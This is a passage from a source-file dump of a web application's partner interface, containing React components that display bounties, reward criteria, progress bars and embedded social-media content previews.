    "content": "export default function OAuthAppPlaceholder() {\n  return (\n    <div className=\"relative grid gap-4 rounded-xl border border-neutral-200 bg-white px-5 py-4\">\n      <div className=\"flex items-center gap-2\">\n        <div className=\"flex h-10 w-10 items-center justify-center rounded bg-neutral-100\" />\n        <div className=\"flex flex-col gap-1\">\n          <div className=\"h-3 w-20 rounded-full bg-neutral-100\"></div>\n          <div className=\"h-3 w-28 rounded-full bg-neutral-100\"></div>\n        </div>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/activity-event.tsx",
    "content": "\"use client\";\n\nimport { TimestampTooltip } from \"@dub/ui\";\nimport { cn, formatDateTime } from \"@dub/utils\";\n\nexport function ActivityEvent({\n  icon: Icon,\n  children,\n  timestamp,\n  note,\n  isLast = false,\n}: {\n  icon: React.ElementType;\n  children: React.ReactNode;\n  timestamp: string | Date | null | undefined;\n  note?: React.ReactNode;\n  isLast?: boolean;\n}) {\n  return (\n    <div className=\"flex gap-3\">\n      <div className=\"flex flex-col items-center\">\n        <div className=\"flex size-6 shrink-0 items-center justify-center\">\n          <Icon className=\"size-[18px] text-neutral-600\" />\n        </div>\n\n        {!isLast && (\n          <div\n            className=\"mt-0.5 border-l border-neutral-300\"\n            style={{ height: \"10px\", width: \"1px\" }}\n          />\n        )}\n      </div>\n\n      <div\n        className={cn(\"flex min-w-0 flex-1 flex-col gap-1\", !isLast && \"pb-4\")}\n      >\n        <div className=\"flex flex-col gap-1 sm:flex-row sm:items-center sm:gap-2\">\n          <div className=\"flex min-w-0 flex-wrap items-center gap-2\">\n            {children}\n          </div>\n          {timestamp && (\n            <TimestampTooltip\n              timestamp={timestamp}\n              side=\"right\"\n              rows={[\"local\", \"utc\", \"unix\"]}\n            >\n              <span className=\"shrink-0 text-xs text-neutral-400 sm:ml-auto\">\n                {formatDateTime(timestamp)}\n              </span>\n            </TimestampTooltip>\n          )}\n        </div>\n\n        {note && <div className=\"mt-1\">{note}</div>}\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/bounties/bounty-description.tsx",
    "content": "import { PartnerBountyProps } from \"@/lib/types\";\nimport { Markdown } from \"@/ui/shared/markdown\";\nimport { PROSE_STYLES } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\n\nexport function BountyDescription({ bounty }: { bounty: PartnerBountyProps }) {\n  const description = bounty.description?.trim();\n\n  if (!description) {\n    return null;\n  }\n\n  return (\n    <div>\n      <h3 className=\"text-content-emphasis text-lg font-semibold\">\n        Bounty details\n      </h3>\n\n      <div className=\"flex flex-col gap-1\">\n        <Markdown\n          className={cn(\n            PROSE_STYLES.default,\n            \"text-sm font-normal text-neutral-600\",\n          )}\n        >\n          {description}\n        </Markdown>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/bounties/bounty-incremental-bonus-tooltip.tsx",
    "content": "import { PartnerBountyProps } from \"@/lib/types\";\nimport { InfoTooltip } from \"@dub/ui\";\nimport { currencyFormatter, nFormatter } from \"@dub/utils\";\n\nexport function BountyIncrementalBonusTooltip({\n  bounty,\n  onTooltipClick,\n}: {\n  bounty: Pick<PartnerBountyProps, \"submissionRequirements\">;\n  onTooltipClick?: (e: React.MouseEvent) => void;\n}) {\n  const description = getBountyIncrementalBonusDescription(bounty);\n\n  if (!description) {\n    return null;\n  }\n\n  return (\n    <span\n      className=\"inline-flex shrink-0 align-middle\"\n      onClick={onTooltipClick}\n    >\n      <InfoTooltip content={description} />\n    </span>\n  );\n}\n\nfunction getBountyIncrementalBonusDescription(\n  bounty: Pick<PartnerBountyProps, \"submissionRequirements\">,\n): string | null {\n  const socialMetrics = bounty.submissionRequirements?.socialMetrics;\n  const variableBonus = socialMetrics?.incrementalBonus;\n\n  if (!socialMetrics?.metric || !variableBonus) {\n    return null;\n  }\n\n  const { incrementCount, bonusPerIncrement, maxCount } = variableBonus;\n\n  if (\n    incrementCount == null ||\n    bonusPerIncrement == null ||\n    maxCount == null ||\n    incrementCount < 1 ||\n    maxCount < 1\n  ) {\n    return null;\n  }\n\n  const formattedBonus = currencyFormatter(bonusPerIncrement, {\n    trailingZeroDisplay: \"stripIfInteger\",\n  });\n\n  // Eg: For each additional 1000 views, earn $1, up to 10000 views\n  return `For each additional ${nFormatter(incrementCount, { full: true })} ${socialMetrics.metric} earn ${formattedBonus}, up to ${nFormatter(maxCount, { full: true })} ${socialMetrics.metric}`;\n}\n"
  },
  {
    "path": "apps/web/ui/partners/bounties/bounty-performance.tsx",
    "content": "import { isCurrencyAttribute } from \"@/lib/api/workflows/utils\";\nimport { PERFORMANCE_BOUNTY_SCOPE_ATTRIBUTES } from \"@/lib/bounty/api/performance-bounty-scope-attributes\";\nimport { PartnerBountyProps } from \"@/lib/types\";\nimport { cn, currencyFormatter, nFormatter } from \"@dub/utils\";\nimport {\n  BountyProgressBarRow,\n  EmphasisNumber,\n} from \"./bounty-progress-bar-row\";\n\nexport function PerformanceBountyProgress({\n  bounty,\n  labelClassName,\n  wrapperClassName,\n}: {\n  bounty: PartnerBountyProps;\n  labelClassName?: string;\n  wrapperClassName?: string;\n}) {\n  const performanceCondition = bounty.performanceCondition;\n\n  if (!performanceCondition) {\n    return null;\n  }\n\n  const { attribute } = performanceCondition;\n\n  // Current value\n  const value = bounty.submissions?.[0]?.performanceCount ?? 0;\n  const formattedValue = isCurrencyAttribute(attribute)\n    ? currencyFormatter(value, { trailingZeroDisplay: \"stripIfInteger\" })\n    : nFormatter(value, { full: true });\n\n  // Target value\n  const target = performanceCondition.value;\n  const formattedTarget = isCurrencyAttribute(attribute)\n    ? currencyFormatter(target, { trailingZeroDisplay: \"stripIfInteger\" })\n    : nFormatter(target, { full: true });\n\n  const metricLabel =\n    PERFORMANCE_BOUNTY_SCOPE_ATTRIBUTES[attribute].toLowerCase();\n\n  const percent =\n    target > 0 ? Math.min(Math.max(value / target, 0), 1) * 100 : 0;\n\n  return (\n    <BountyProgressBarRow\n      progress={percent}\n      labelClassName={labelClassName}\n      wrapperClassName={wrapperClassName}\n    >\n      <EmphasisNumber>{formattedValue}</EmphasisNumber> of{\" \"}\n      <EmphasisNumber>{formattedTarget}</EmphasisNumber> {metricLabel} generated\n    </BountyProgressBarRow>\n  );\n}\n\nexport function SubmissionBountyProgress({\n  bounty,\n  labelClassName,\n  wrapperClassName,\n  className,\n}: {\n  bounty: PartnerBountyProps;\n  labelClassName?: string;\n  wrapperClassName?: string;\n  className?: string;\n}) {\n  const submittedCount = bounty.submissions.filter(\n    ({ status }) => status !== \"draft\",\n  ).length;\n\n  const approvedCount = bounty.submissions.filter(\n    ({ status }) => status === \"approved\",\n  ).length;\n\n  const maxSubmissions = bounty.maxSubmissions || 1;\n  const submittedPercent = (submittedCount / maxSubmissions) * 100;\n  const approvedPercent = (approvedCount / maxSubmissions) * 100;\n\n  return (\n    <div className={cn(\"flex flex-col gap-4 sm:flex-row\", className)}>\n      <BountyProgressBarRow\n        progress={submittedPercent}\n        labelClassName={labelClassName}\n        wrapperClassName={wrapperClassName}\n      >\n        <EmphasisNumber>{submittedCount}</EmphasisNumber> of{\" \"}\n        <EmphasisNumber>{maxSubmissions}</EmphasisNumber> submitted\n      </BountyProgressBarRow>\n      <BountyProgressBarRow\n        progress={approvedPercent}\n        labelClassName={labelClassName}\n        wrapperClassName={wrapperClassName}\n      >\n        <EmphasisNumber>{approvedCount}</EmphasisNumber> approved\n      </BountyProgressBarRow>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/bounties/bounty-platform-icons.ts",
    "content": "import { BountySocialPlatform } from \"@/lib/types\";\nimport { Instagram, LinkedIn, TikTok, Twitter, YouTube } from \"@dub/ui\";\nimport { ComponentType } from \"react\";\n\nexport const PLATFORM_ICONS: Record<\n  BountySocialPlatform,\n  ComponentType<{ className?: string }>\n> = {\n  youtube: YouTube,\n  tiktok: TikTok,\n  instagram: Instagram,\n  twitter: Twitter,\n  linkedin: LinkedIn,\n};\n"
  },
  {
    "path": "apps/web/ui/partners/bounties/bounty-progress-bar-row.tsx",
    "content": "import { cn } from \"@dub/utils\";\nimport { ReactNode } from \"react\";\n\nexport function EmphasisNumber({ children }: { children: ReactNode }) {\n  return (\n    <span className=\"text-content-emphasis font-semibold\">{children}</span>\n  );\n}\n\nexport function BountyProgressBarRow({\n  progress,\n  children,\n  labelClassName,\n  wrapperClassName,\n}: {\n  progress: number;\n  children: ReactNode;\n  labelClassName?: string;\n  wrapperClassName?: string;\n}) {\n  const percent = Math.min(Math.max(progress, 0), 100);\n  const isComplete = percent >= 100;\n\n  return (\n    <div\n      className={cn(\n        \"flex min-w-0 flex-1 flex-col\",\n        wrapperClassName ?? \"gap-2\",\n      )}\n    >\n      <div className=\"h-1 w-full overflow-hidden rounded-full bg-neutral-200\">\n        <div\n          className={cn(\n            \"h-full rounded-full\",\n            isComplete ? \"bg-green-600\" : \"bg-amber-600\",\n          )}\n          style={{ width: `${percent}%` }}\n        />\n      </div>\n      <p\n        className={cn(\n          \"text-content-subtle text-xs font-medium\",\n          labelClassName,\n        )}\n      >\n        {children}\n      </p>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/bounties/bounty-reward-criteria.tsx",
    "content": "import { resolveBountyDetails } from \"@/lib/bounty/utils\";\nimport { PartnerBountyProps } from \"@/lib/types\";\nimport { Check2 } from \"@dub/ui\";\nimport { currencyFormatter, nFormatter } from \"@dub/utils\";\n\nexport function getBountyRewardCriteria(\n  bounty: PartnerBountyProps | Parameters<typeof resolveBountyDetails>[0],\n) {\n  const bountyInfo = resolveBountyDetails(bounty);\n\n  if (\n    !bountyInfo?.socialMetrics ||\n    !bountyInfo.socialPlatform ||\n    !bountyInfo.rewardAmount\n  ) {\n    return [];\n  }\n\n  const formattedAmount = currencyFormatter(bountyInfo.rewardAmount, {\n    trailingZeroDisplay: \"stripIfInteger\",\n  });\n\n  const socialPlatform = bountyInfo.socialPlatform;\n  const { minCount, metric, incrementalBonus } = bountyInfo.socialMetrics;\n\n  const texts: string[] = [\n    `Get ${nFormatter(minCount ?? 0, { full: true })} ${metric} on your ${socialPlatform.label} content, earn ${formattedAmount}`,\n  ];\n\n  if (incrementalBonus) {\n    const { incrementCount, bonusPerIncrement, maxCount } = incrementalBonus;\n\n    if (incrementCount && bonusPerIncrement && maxCount) {\n      const formattedBonus = currencyFormatter(bonusPerIncrement, {\n        trailingZeroDisplay: \"stripIfInteger\",\n      });\n\n      texts.push(\n        `For each additional ${nFormatter(incrementCount, { full: true })} ${metric} on your ${socialPlatform.label} content, earn ${formattedBonus} – up to ${nFormatter(maxCount, { full: true })} ${metric}`,\n      );\n    }\n  }\n\n  return texts;\n}\n\nexport function BountyRewardCriteria({\n  bounty,\n}: {\n  bounty: PartnerBountyProps;\n}) {\n  const rewardTexts = getBountyRewardCriteria(bounty);\n\n  if (rewardTexts.length === 0) {\n    return null;\n  }\n\n  return (\n    <div>\n      <h3 className=\"text-content-emphasis text-lg font-semibold\">\n        Reward criteria\n      </h3>\n\n      <div className=\"mt-2 flex flex-col gap-1\">\n        {rewardTexts.map((text) => (\n          <div className=\"flex items-center gap-1.5\" key={text}>\n            <Check2 className=\"size-3 shrink-0 text-green-600\" />\n            <span className=\"text-sm font-normal text-neutral-600\">{text}</span>\n          </div>\n        ))}\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/bounties/bounty-reward-description.tsx",
    "content": "import { getBountyRewardDescription } from \"@/lib/bounty/rewards\";\nimport { BountyProps } from \"@/lib/types\";\nimport { Gift } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { BountyIncrementalBonusTooltip } from \"./bounty-incremental-bonus-tooltip\";\n\nexport function BountyRewardDescription({\n  bounty,\n  className,\n  onTooltipClick,\n}: {\n  bounty: Pick<\n    BountyProps,\n    \"rewardAmount\" | \"rewardDescription\" | \"submissionRequirements\"\n  >;\n  className?: string;\n  onTooltipClick?: (e: React.MouseEvent) => void; // Prevent the tooltip from being clicked when the reward description is clicked\n}) {\n  const description = getBountyRewardDescription(bounty);\n\n  if (!description) {\n    return null;\n  }\n\n  return (\n    <div\n      className={cn(\n        \"text-content-subtle flex items-center gap-1 text-sm\",\n        className,\n      )}\n    >\n      <div className=\"flex items-center gap-2\">\n        <Gift className=\"size-3.5 shrink-0\" />\n        <span>{description}</span>\n      </div>\n\n      <BountyIncrementalBonusTooltip\n        bounty={bounty}\n        onTooltipClick={onTooltipClick}\n      />\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/bounties/bounty-social-content-preview.tsx",
    "content": "\"use client\";\n\nimport { resolveBountyDetails } from \"@/lib/bounty/utils\";\nimport {\n  BountySocialPlatform,\n  BountySubmissionProps,\n  PartnerBountyProps,\n} from \"@/lib/types\";\nimport { cn } from \"@dub/utils\";\nimport { useState } from \"react\";\n\ninterface BountySocialContentPreviewProps {\n  bounty: Pick<PartnerBountyProps, \"id\" | \"submissionRequirements\">;\n  submission: Pick<BountySubmissionProps, \"urls\"> | null | undefined;\n}\n\ninterface GetSocialContentEmbedUrlParams {\n  platform: BountySocialPlatform;\n  url: string;\n}\n\ninterface GetSocialContentEmbedAspectRatioParams {\n  platform: BountySocialPlatform;\n  url: string;\n}\n\nfunction getSocialContentEmbedUrl({\n  platform,\n  url,\n}: GetSocialContentEmbedUrlParams) {\n  try {\n    const parsed = new URL(url);\n    const host = parsed.hostname.replace(/^www\\./, \"\");\n\n    if (platform === \"youtube\") {\n      if (host === \"youtu.be\") {\n        const id = parsed.pathname.slice(1).split(\"?\")[0];\n        return id ? `https://www.youtube.com/embed/${id}` : null;\n      }\n\n      if (host === \"youtube.com\" || host === \"m.youtube.com\") {\n        const v = parsed.searchParams.get(\"v\");\n\n        if (v) {\n          return `https://www.youtube.com/embed/${v}`;\n        }\n\n        const shortsMatch = parsed.pathname.match(/\\/shorts\\/([^/?#]+)/);\n\n        if (shortsMatch?.[1]) {\n          return `https://www.youtube.com/embed/${shortsMatch[1]}`;\n        }\n\n        return null;\n      }\n    }\n\n    if (platform === \"instagram\") {\n      if (host === \"instagram.com\" || host === \"m.instagram.com\") {\n        const pathMatch =\n          parsed.pathname.match(/\\/p\\/([^/]+)/) ??\n          parsed.pathname.match(/\\/reel\\/([^/]+)/);\n        const shortcode = pathMatch?.[1];\n\n        if (!shortcode) {\n          return null;\n        }\n\n        const isReel = parsed.pathname.includes(\"/reel/\");\n\n        return isReel\n          ? `https://www.instagram.com/reel/${shortcode}/embed/`\n          : `https://www.instagram.com/p/${shortcode}/embed/`;\n      }\n    }\n\n    if (platform === \"tiktok\") {\n      if (\n        host === \"tiktok.com\" ||\n        host === \"m.tiktok.com\" ||\n        host === \"vm.tiktok.com\"\n      ) {\n        const match = parsed.pathname.match(/\\/video\\/(\\d+)/);\n        const videoId = match?.[1];\n\n        return videoId ? `https://www.tiktok.com/embed/v2/${videoId}` : null;\n      }\n    }\n\n    if (platform === \"twitter\") {\n      if (host === \"twitter.com\" || host === \"x.com\") {\n        const statusMatch = parsed.pathname.match(/\\/status\\/(\\d+)/);\n        const tweetId = statusMatch?.[1];\n        return tweetId\n          ? `https://platform.twitter.com/embed/Tweet.html?id=${tweetId}`\n          : null;\n      }\n    }\n\n    if (platform === \"linkedin\") {\n      if (host === \"linkedin.com\") {\n        // LinkedIn post URLs:\n        //   /posts/username_activity-{id}-xxxx\n        //   /feed/update/urn:li:activity:{id}\n        const activityMatch = parsed.pathname.match(/activity[_-](\\d+)/);\n        const urnMatch = parsed.pathname.match(/activity[:%]3A(\\d+)/);\n        const activityId = activityMatch?.[1] ?? urnMatch?.[1];\n\n        return activityId\n          ? `https://www.linkedin.com/embed/feed/update/urn:li:activity:${activityId}`\n          : null;\n      }\n    }\n\n    return null;\n  } catch {\n    return null;\n  }\n}\n\nfunction getSocialContentEmbedAspectRatio({\n  platform,\n  url,\n}: GetSocialContentEmbedAspectRatioParams) {\n  try {\n    const parsed = new URL(url);\n    const pathname = parsed.pathname;\n\n    if (platform === \"youtube\") {\n      return pathname.includes(\"/shorts/\") ? \"aspect-[9/16]\" : \"aspect-video\";\n    }\n\n    if (platform === \"tiktok\") {\n      return \"aspect-[9/16]\";\n    }\n\n    if (platform === \"instagram\") {\n      return pathname.includes(\"/reel/\") ? \"aspect-[9/16]\" : \"aspect-square\";\n    }\n\n    if (platform === \"twitter\") {\n      return \"aspect-square\";\n    }\n\n    if (platform === \"linkedin\") {\n      return \"aspect-video\";\n    }\n\n    return \"aspect-video\";\n  } catch {\n    return \"aspect-video\";\n  }\n}\n\nexport function BountySocialContentPreview({\n  bounty,\n  submission,\n}: BountySocialContentPreviewProps) {\n  const [loaded, setLoaded] = useState(false);\n\n  const bountyInfo = resolveBountyDetails(bounty);\n\n  const url = submission?.urls?.[0] ?? \"\";\n  const platform = bountyInfo?.socialPlatform;\n\n  if (!url || !platform) {\n    return null;\n  }\n\n  const embedUrl = getSocialContentEmbedUrl({\n    platform: platform.value,\n    url,\n  });\n\n  if (!embedUrl) {\n    return null;\n  }\n\n  const aspectClass = getSocialContentEmbedAspectRatio({\n    platform: platform.value,\n    url,\n  });\n\n  return (\n    <div className=\"flex flex-col gap-2 rounded-xl border border-neutral-200 bg-white p-2\">\n      {/* Native embed */}\n      <div\n        className={cn(\n          \"relative flex max-h-[700px] w-full items-center justify-center overflow-hidden rounded-md border border-black/10\",\n          aspectClass,\n        )}\n      >\n        {!loaded && (\n          <div className=\"absolute inset-0 z-10 flex items-center justify-center bg-neutral-100\">\n            <div className=\"h-8 w-8 animate-spin rounded-full border-2 border-neutral-300 border-t-neutral-600\" />\n          </div>\n        )}\n        <iframe\n          src={embedUrl}\n          title={`${platform.label} content preview`}\n          aria-label={`${platform.label} content preview`}\n          className={cn(\"absolute inset-0 size-full\", !loaded && \"opacity-0\")}\n          allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture\"\n          allowFullScreen\n          loading=\"lazy\"\n          onLoad={() => setLoaded(true)}\n        />\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/bounties/bounty-social-content.tsx",
    "content": "\"use client\";\n\nimport { resolveBountyDetails } from \"@/lib/bounty/utils\";\nimport usePartnerProfile from \"@/lib/swr/use-partner-profile\";\nimport { PartnerBountyProps, SocialContent } from \"@/lib/types\";\nimport { useClaimBountyContext } from \"@/ui/partners/bounties/claim-bounty-context\";\nimport { useClaimBountyForm } from \"@/ui/partners/bounties/use-claim-bounty-form\";\nimport { useSocialContent } from \"@/ui/partners/bounties/use-social-content\";\nimport { ButtonLink } from \"@/ui/placeholders/button-link\";\nimport { CircleCheckFill, LoadingSpinner } from \"@dub/ui\";\nimport { cn, formatDate } from \"@dub/utils\";\nimport { isBefore } from \"date-fns\";\nimport { AlertTriangle } from \"lucide-react\";\nimport Link from \"next/link\";\nimport { useEffect, useId, useState } from \"react\";\n\nfunction socialContentRequirementChecks({\n  content,\n  bounty,\n  partnerPlatform,\n}: {\n  content: SocialContent | null | undefined;\n  bounty: PartnerBountyProps;\n  partnerPlatform: { identifier: string; verifiedAt: Date | null } | undefined;\n}) {\n  const isPostedFromYourAccount =\n    !!content &&\n    !!partnerPlatform &&\n    !!partnerPlatform.verifiedAt &&\n    partnerPlatform.identifier.toLowerCase() === content.handle?.toLowerCase();\n\n  const isAfterStartDate =\n    !!content?.publishedAt &&\n    !!bounty.startsAt &&\n    !isBefore(content.publishedAt, bounty.startsAt);\n\n  return {\n    isPostedFromYourAccount,\n    isAfterStartDate,\n  };\n}\n\nfunction SocialContentRequirementChecks({\n  content,\n  bounty,\n}: {\n  content: SocialContent | null;\n  bounty: PartnerBountyProps;\n}) {\n  const { partner } = usePartnerProfile();\n\n  const bountyInfo = resolveBountyDetails(bounty);\n  const socialPlatform = bountyInfo?.socialPlatform;\n\n  const partnerPlatform = partner?.platforms?.find(\n    (p) => p.type === socialPlatform?.value,\n  );\n\n  const { isPostedFromYourAccount, isAfterStartDate } =\n    socialContentRequirementChecks({\n      content,\n      bounty,\n      partnerPlatform,\n    });\n\n  return (\n    <ul className=\"mt-2 flex flex-wrap items-center gap-3\">\n      <li\n        className={cn(\n          \"flex items-center gap-1 text-xs font-medium transition-colors\",\n          isPostedFromYourAccount ? \"text-green-600\" : \"text-neutral-400\",\n        )}\n      >\n        <CircleCheckFill\n          className={cn(\n            \"size-2.5 transition-opacity\",\n            isPostedFromYourAccount ? \"text-green-600\" : \"text-neutral-200\",\n          )}\n        />\n        <span>Posted from your account</span>\n      </li>\n\n      <li\n        className={cn(\n          \"flex items-center gap-1 text-xs font-medium transition-colors\",\n          isAfterStartDate ? \"text-green-600\" : \"text-neutral-400\",\n        )}\n      >\n        <CircleCheckFill\n          className={cn(\n            \"size-2.5 transition-opacity\",\n            isAfterStartDate ? \"text-green-600\" : \"text-neutral-200\",\n          )}\n        />\n        <span>{`Posted after ${formatDate(bounty.startsAt, { month: \"short\", day: \"numeric\", year: \"numeric\" })}`}</span>\n      </li>\n    </ul>\n  );\n}\n\nexport function SocialContentUrlField({\n  bounty,\n}: {\n  bounty: PartnerBountyProps;\n}) {\n  const { partner } = usePartnerProfile();\n  const { setSocialContentRequirementsMet } = useClaimBountyContext();\n\n  const { watch, setValue, getValues, setSocialContentVerifying } =\n    useClaimBountyForm();\n\n  const [urlToCheck, setUrlToCheck] = useState<string>(\"\");\n  const inputId = useId();\n\n  const contentUrl = watch(\"urls\")?.[0] ?? \"\";\n\n  useEffect(() => {\n    if (contentUrl === \"\") {\n      setUrlToCheck(\"\");\n    }\n  }, [contentUrl]);\n\n  const { data, error, isValidating } = useSocialContent({\n    bountyId: bounty.id,\n    url: urlToCheck,\n  });\n\n  useEffect(() => {\n    setSocialContentVerifying(isValidating);\n    return () => setSocialContentVerifying(false);\n  }, [isValidating, setSocialContentVerifying]);\n\n  const bountyInfo = resolveBountyDetails(bounty);\n  const partnerPlatform = partner?.platforms?.find(\n    (p) => p.type === bountyInfo?.socialPlatform?.value,\n  );\n\n  useEffect(() => {\n    const checks = socialContentRequirementChecks({\n      content: data,\n      bounty,\n      partnerPlatform,\n    });\n\n    setSocialContentRequirementsMet(\n      checks.isPostedFromYourAccount && checks.isAfterStartDate,\n    );\n\n    return () => setSocialContentRequirementsMet(true);\n  }, [data, bounty, partnerPlatform, setSocialContentRequirementsMet]);\n\n  const showIcon = isValidating || (error && urlToCheck);\n\n  if (!bountyInfo?.socialPlatform) {\n    return null;\n  }\n\n  const handleChange = (value: string) => {\n    const prev = getValues(\"urls\") ?? [];\n    setValue(\"urls\", [value, ...prev.slice(1)], { shouldDirty: true });\n  };\n\n  const handleBlur = () => {\n    const trimmed = contentUrl.trim();\n    const prev = getValues(\"urls\") ?? [];\n    setValue(\"urls\", [trimmed, ...prev.slice(1)], { shouldDirty: true });\n    setUrlToCheck(trimmed);\n  };\n\n  return (\n    <div>\n      <label htmlFor={inputId} className=\"block\">\n        <span className=\"text-sm font-medium text-neutral-900\">\n          {`${bountyInfo?.socialPlatform.label} URL`}\n        </span>\n      </label>\n      <div className=\"relative mt-2\">\n        <input\n          id={inputId}\n          type=\"text\"\n          inputMode=\"url\"\n          autoComplete=\"url\"\n          placeholder={bountyInfo?.socialPlatform.placeholder}\n          value={contentUrl}\n          onChange={(e) => handleChange(e.target.value)}\n          onBlur={handleBlur}\n          className={cn(\n            \"block h-10 w-full rounded-md border-neutral-300 px-3 py-2 pr-10 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\",\n            error &&\n              urlToCheck &&\n              \"border-red-500 focus:border-red-500 focus:ring-red-500\",\n          )}\n        />\n\n        {showIcon && (\n          <div className=\"pointer-events-none absolute inset-y-0 right-0 flex items-center pr-3\">\n            {isValidating ? (\n              <LoadingSpinner className=\"size-4 shrink-0 text-neutral-400\" />\n            ) : error && urlToCheck ? (\n              <AlertTriangle\n                className=\"size-4 shrink-0 text-red-500\"\n                fill=\"#ef4444\"\n              />\n            ) : null}\n          </div>\n        )}\n      </div>\n      <SocialContentRequirementChecks content={data} bounty={bounty} />\n    </div>\n  );\n}\n\nexport function SocialAccountNotVerifiedWarning({\n  bounty,\n}: {\n  bounty: PartnerBountyProps;\n}) {\n  const bountyInfo = resolveBountyDetails(bounty);\n\n  if (!bountyInfo?.socialPlatform) {\n    return null;\n  }\n\n  return (\n    <div className=\"flex flex-col gap-2 rounded-lg bg-orange-50 p-2 text-center\">\n      <div className=\"px-2 text-sm font-medium text-orange-900\">\n        {`A verified ${bountyInfo.socialPlatform.label} account must be connected to your Dub partner profile to claim this bounty.`}\n\n        <Link\n          href=\"https://dub.co/help/article/receiving-payouts\"\n          target=\"_blank\"\n          className=\"ml-1 underline underline-offset-2\"\n        >\n          Learn more\n        </Link>\n      </div>\n\n      <ButtonLink\n        variant=\"primary\"\n        href=\"/profile\"\n        target=\"_blank\"\n        rel=\"noopener noreferrer\"\n        className=\"h-7 w-full justify-center rounded-lg\"\n      >\n        View profile\n      </ButtonLink>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/bounties/bounty-social-metrics-rewards-table.tsx",
    "content": "\"use client\";\n\nimport {\n  getSocialMetricsRewardTiers,\n  SocialMetricsRewardTier,\n} from \"@/lib/bounty/rewards\";\nimport { resolveBountyDetails } from \"@/lib/bounty/utils\";\nimport { BountySubmissionProps, PartnerBountyProps } from \"@/lib/types\";\nimport { StatusBadge, Table, useTable } from \"@dub/ui\";\nimport { capitalize, currencyFormatter } from \"@dub/utils\";\nimport { ColumnDef } from \"@tanstack/react-table\";\nimport { useMemo } from \"react\";\n\nconst displayStatusMap = {\n  approved: {\n    label: \"Approved\",\n    variant: \"success\",\n  },\n  pending: {\n    label: \"Pending approval\",\n    variant: \"new\",\n  },\n  inProgress: {\n    label: \"In progress\",\n    variant: \"pending\",\n  },\n  draft: {\n    label: \"Draft\",\n    variant: \"pending\",\n  },\n  rejected: {\n    label: \"Rejected\",\n    variant: \"error\",\n  },\n};\n\ninterface SubmissionForRewards {\n  socialMetricCount: number | null;\n  commission: { earnings: number } | null;\n  status: BountySubmissionProps[\"status\"];\n}\n\nfunction getDisplayStatus(\n  tier: SocialMetricsRewardTier,\n  submission: SubmissionForRewards,\n) {\n  if (tier.status === \"unmet\") {\n    return \"inProgress\";\n  }\n\n  if (\n    submission.status === \"approved\" &&\n    submission.commission != null &&\n    submission.commission.earnings != null\n  ) {\n    return \"approved\";\n  }\n\n  if (submission.status === \"draft\") {\n    return \"draft\";\n  }\n\n  if (submission.status === \"rejected\") {\n    return \"rejected\";\n  }\n\n  return \"pending\";\n}\n\nexport function BountySocialMetricsRewardsTable({\n  bounty,\n  submission,\n  titleText = \"Rewards\",\n}: {\n  bounty: Pick<\n    PartnerBountyProps,\n    \"id\" | \"submissionRequirements\" | \"rewardAmount\"\n  >;\n  submission: SubmissionForRewards;\n  titleText?: string;\n}) {\n  const tiers = getSocialMetricsRewardTiers({\n    bounty,\n    submission,\n  });\n\n  const bountyInfo = resolveBountyDetails(bounty);\n  const metricLabel = bountyInfo?.socialMetrics?.metric ?? \"Count\";\n\n  const columns = useMemo<ColumnDef<SocialMetricsRewardTier>[]>(\n    () => [\n      {\n        id: \"threshold\",\n        header: capitalize(metricLabel)!,\n        minSize: 100,\n        size: 120,\n        cell: ({ row: { original } }) => (\n          <span className=\"font-medium text-neutral-800\">\n            {original.threshold.toLocaleString()}\n          </span>\n        ),\n      },\n      {\n        id: \"reward\",\n        header: \"Amount\",\n        minSize: 100,\n        size: 120,\n        cell: ({ row: { original } }) =>\n          currencyFormatter(original.rewardAmount, {\n            trailingZeroDisplay: \"stripIfInteger\",\n          }),\n      },\n      {\n        id: \"status\",\n        header: \"Status\",\n        minSize: 120,\n        size: 140,\n        cell: ({ row: { original } }) => {\n          const status =\n            displayStatusMap[getDisplayStatus(original, submission)];\n\n          return (\n            <StatusBadge variant={status.variant}>{status.label}</StatusBadge>\n          );\n        },\n      },\n    ],\n    [metricLabel, submission],\n  );\n\n  const table = useTable({\n    data: tiers,\n    columns,\n    getRowId: (row) => String(row.threshold),\n    resourceName: () => \"reward tier\",\n    scrollWrapperClassName: \"min-h-0\",\n    thClassName: \"border-l-0\",\n    tdClassName: \"border-l-0\",\n    className: \"[&_tbody_tr:last-child_td]:border-b-0\",\n  });\n\n  if (tiers.length === 0) {\n    return null;\n  }\n\n  return (\n    <div>\n      <h2 className=\"text-base font-semibold text-neutral-900\">{titleText}</h2>\n      <div className=\"mt-3\">\n        <Table {...table} />\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/partners/bounties/bounty-status-badge.tsx",
